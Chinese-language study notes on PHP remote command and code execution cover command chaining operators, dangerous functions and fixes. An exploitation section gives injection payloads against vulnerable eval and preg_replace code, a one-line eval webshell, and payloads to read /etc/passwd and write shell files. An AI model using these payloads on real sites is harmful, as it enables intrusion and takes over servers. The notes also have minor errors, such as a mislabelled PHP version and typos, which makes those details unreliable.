8 RCE
(remote command/code execute) 远程系统命令执行、远程代码执行
远程命令执行
系统函数实现远程命令执行
命令执行符号:
短路与&&:前者为真,才执行后边;前边为假,都不执行
逻辑与 &:无论前边真假,都执行
短路或 ||:前者为真,后者不执行;前者为假,后者执行
逻辑或 |:无论前边真假,都执行
成因
应用调用函数执行系统命令时,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。
漏洞危害
·继承web服务器程序的权限执行系统命令、读写文件
·反弹shell
·控制整个网站
相关函数
PHP中可调用外部程序的常见函数
system(args)(有回显)
passthru(args)(有回显)
exec(args)(回显最后一行,必须echo输出)
shell exec(args)(无回显,必须输出)
`` 反引号
popen(handle,mode)(无回显)
proc open(‘cmd’,’flag’,’flag’)(无回显)
修复方案/防御方法
能用脚本解决的工作,不调用其他程序处理,尽量少用执行命令的函数,并在disable_functions中禁用
进入命令执行的函数或者方法之前,对参数进行过滤
参数的值尽量用引号包裹(单引号变量不解析),并在拼接前调用addslashes进行转义
远程代码执行
成因
应用在调用能将字符串转换成代码的函数式,没有考虑用户能否控制字符串,造成代码执行漏洞。
PHP允许命令执行的函数
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()等
注:
eval()函数正确执行需要满足php的代码规范,而assert()函数对于php的代码规范要求不高
在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替
危害
执行任意代码、向网站写webshell、控制整个网站甚至服务器
漏洞利用
利用1
<?php $data = $_GET['data']; eval("$ret = $data;"); echo $ret; ?> ?data=1;phpinfo()
利用2
<?php //关闭魔术方法 $data = $_GET['data']; eval("$ret = strtolower('$data');"); echo $ret; ?> ?data=1');phpinfo();//
利用3
<?php $data=$_GET['data']; eval("$ret = strtolower("$data");"); echo $ret; ?> ?data=“);phpinfo();//
利用4(PHP5.5以上)
<?php $data = $_GET['data']; echo $data; preg_replace('/<data>(.*)</data>/e','$ret="\1";',$data); echo $ret; ?> ?data=<data>${phpinfo()}</data>
相关操作
{${@eval($_POST[1])}} 一句话
{${exit(print(getcwd()))}} 获取当前路径
{${exit(var_dump(file_get_contents($_POST[f])))}} 读文件 f=/etc/passwd
{${exit(var_dmp(file_put_contents($_POST[f],$_POST[d])))}} 写shell f=1.php&d=1111
修复方案
保证用户不能轻易接触eval()函数的参数或者用正则严格判断输入的数据格式
字符串使用单引号包裹,并在插入前进行addslashes()
对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用单引号包裹